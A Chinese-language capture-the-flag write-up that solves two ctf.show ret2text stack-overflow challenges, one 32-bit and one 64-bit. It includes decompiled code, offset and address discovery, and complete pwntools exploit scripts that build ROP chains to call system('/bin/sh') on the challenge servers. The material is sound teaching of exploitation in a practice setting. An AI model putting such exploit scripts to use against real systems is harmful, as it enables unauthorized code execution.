首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。
chmod +x pwn
checksec pwn
文件依然是只开启了栈不可执行,canary和pie都没开。并且该文件是32位的,那我们就托到ida32中反编译一下吧。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(asc_804876C);
puts(asc_80487E0);
puts(asc_804885C);
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(asc_8048A90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
我们可以看到ctfshow函数中buf数组长度为14,但是需要都进去0x32长度的数据,显然一定会发生栈溢出,但是这次文件没有给我们后门函数,但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串,我们就可以利用这两个,来构造出system(“/bin/sh”)来获取shell,与后门函数的效果是一样的。
使用gdb中cyclic获得冗余字符,在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址,再使用cyclic -l命令即可获得溢出长度。
我们可以看到,溢出长度为22。
我们可以使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。
objdump -d -j .plt pwn
system函数的地址为:0x080483a0
/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段,可以直接获得它的地址。
/bin/sh的地址为:0x08048750
from pwn import *
io = remote("pwn.challenge.ctf.show", "28273")
offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(1)来顶替4个字节
# 32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()
成功拿到flag。
首先还是将pwn文件下载下来,托到虚拟机里查看文件的保护信息。
chmod +x pwn
checksec pwn
可以看到该文件是64位的,并且只开启了栈不可执行,基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(asc_400828);
puts(asc_4008A0);
puts(asc_400920);
puts(asc_4009B0);
puts(asc_400A40);
puts(asc_400AC8);
puts(asc_400B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL);
}
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
这道题基本和上道32位的题目是一模一样的,思路也一样,唯一不同的是我们64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多,寄存器有限会继续使用栈传参。
具体64位传参方式如下:
当参数少于7个时, 参数从左到右放?寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前??样, 但后?的依次从 “右向左” 放?栈中,和32位汇编?样。
那就再简单重复一下这道题的思路吧,通过ctfshow函数计算处buf溢出长度,然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址,然后将/bin/sh参数的地址传入rdi寄存器中即可。
注意到,buf在栈中的位置是在rbp上面Ah=10长度处,加上rbp本身的所占栈单元的长度8(64位为8,32位为4),即:0xa + 0x8
还是使用objdump来查看文件的plt表来找system函数的地址。
objdump -d -j .plt pwn
system函数的地址为:0x0000000000400520
直接在ida64中点击/bin/sh即可跳转至data段,从而拿到其地址
/bin/sh的地址为:0x0000000000400808
由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注:ret的作用为:pop eip/rip;
pop rdi;ret 的地址为:0x00000000004007e3
ret的地址为:0x00000000004004fe
ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515
from pwn import *
io = remote("pwn.challenge.ctf.show", "28103")
offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3
payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
成功拿到flag。